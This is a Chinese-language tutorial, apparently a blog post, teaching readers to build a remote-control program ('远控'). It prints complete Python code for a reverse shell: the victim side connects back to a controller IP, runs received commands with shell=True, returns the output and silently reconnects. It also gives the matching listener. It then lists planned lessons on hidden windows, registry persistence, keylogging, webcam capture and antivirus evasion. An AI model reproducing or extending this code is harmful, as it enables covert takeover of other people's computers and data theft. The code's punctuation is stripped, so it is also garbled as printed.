很多人觉得远控是一个很遥远的东西——要懂Windows内核、要会C、要搞免杀……其实那是后面的事。远控最核心的本质只有一件事让一台电脑能远程执行另一台电脑的命令。就像两个人打电话被控端主动拨号控制端接听然后开始说话。被控端import socket import subprocess import time SERVER_IP 192.168.1.100 # 改成你控制端的IP SERVER_PORT 8888 def run(): while True: try: s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SERVER_IP, SERVER_PORT)) while True: cmd s.recv(1024).decode(utf-8) if not cmd: break result subprocess.run(cmd, shellTrue, capture_outputTrue) output result.stdout result.stderr s.send(output) except: time.sleep(5) continue if __name__ __main__: run()这段代码做了什么主动连接你的IP:8888收到命令就执行把结果发回去断开后自动重连控制端import socket s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((0.0.0.0, 8888)) s.listen() print(等待被控端连接...) conn, addr s.accept() print(f已连接: {addr}) while True: cmd input( ) conn.send(cmd.encode()) result conn.recv(1024) print(result.decode())先运行server.py等待连接再运行client.py主动连接在控制端输入ipconfig或dir你会看到被控端的执行结果恭喜你做出了一个简单的远控程序但这才刚开始你肯定有一堆问题问题后续会讲只能局域网玩外网怎么连内网穿透 / 反弹代理 / 服务器命令行窗口太明显了隐藏窗口 无窗口启动电脑重启后就没了开机自启动注册表 / 计划任务 / 服务功能太少了文件传输、截屏、键盘记录、摄像头杀软报毒免杀基础编码混淆 / 延迟加载 / 进程伪装嗯我看一下这篇文章会有多少人看